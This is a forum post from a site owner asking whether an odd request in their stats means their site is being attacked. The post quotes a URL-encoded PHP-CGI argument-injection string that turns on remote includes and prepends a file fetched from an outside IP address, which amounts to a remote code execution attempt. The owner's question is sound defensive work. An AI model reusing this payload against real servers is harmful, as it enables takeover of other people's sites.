jmarks2013 on "Is this a hacker messing with my site?"

Hello.

So I was checking my site stats and I found a visitor who came to my site today was fishy.

The destination "page" the visitor was trying to access is....

-dsafe_mode%253dOff+-ddisable_functions%253dNULL+-dallow_url_fopen%253dOn+-dallow_url_include%253dOn+-dauto_prepend_file%253dhttp%253A%252F%252F75.99.7.131%252Fchanglog.txt

Normally my stats pluging would show the page or post title here so this one kind of got my back up a bit.

I banned the IP, but would still like to know if anyone understands what he was after and whether or not I should be worried about it.

Thanks.